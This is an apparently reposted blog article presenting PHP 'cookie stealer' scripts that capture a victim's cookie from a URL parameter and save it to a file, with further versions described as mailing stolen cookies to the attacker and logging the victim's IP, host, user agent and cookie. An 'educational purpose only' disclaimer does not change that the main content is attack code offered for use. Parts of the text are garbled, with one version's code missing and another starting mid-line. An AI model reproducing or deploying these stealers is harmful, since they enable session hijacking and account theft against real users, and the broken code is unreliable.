Here is the simple Cookie Stealer code: Cookie stored in File: $cookie = $HTTP_GET_VARS["cookie"]; steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable. $steal = fopen("cookiefile.txt", "a");This open the cookiefile in append mode so that we can append the stolen cookie. fwrite($steal, $cookie ."\\n");This will store the stolen cookie inside the file. fclose($steal);close the opened file. Another version: Sends cookies to the hacker mail The above code will mail the cookies to hacker mail using the PHP() mail function with subject "Stolen cookies". Third Version "); else fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n"); fclose($log); } logData(); ?> The above Cookie stealer will store the following information: *.Ip address *.port number *.host(usually computer-name) *.user agent *.cookie This Article is for Educational purpose only, written for Ethical Hackers. This article is for creating public awareness about the Internet Risks
via oneofthebest All articles about hacking have only an educational goal and we are not responsible
0 commentaires:
Enregistrer un commentaire